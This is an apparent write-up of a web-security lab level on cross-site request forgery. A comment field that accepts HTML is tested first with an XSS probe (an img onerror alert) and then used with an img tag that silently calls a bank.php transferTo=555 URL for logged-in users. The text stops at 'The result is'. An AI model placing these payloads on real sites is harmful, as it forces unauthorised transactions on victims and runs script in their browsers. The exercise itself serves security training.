Level 6 | A8 Cross-Site Request Forgery (CSRF)
It seems you have landed on a site that takes HTML tags for article's comments. You want to exploit this by making the users perform an action on the bank.php file in the root of site.com, if they are logged in there. You want users browsers to load that page and execute the query string transferTo with the number 555 as a parameter. Go ahead.
Target:
Tools:
- Firefox
Try normal behavior and check if it's vulnerable with XSS to with allowed tags
<img src=x onerror='alert("KINGSABRI")'>
Yep, that works, we just started
<img src="http://site.com/bank.php?transferTo=555">
The result is
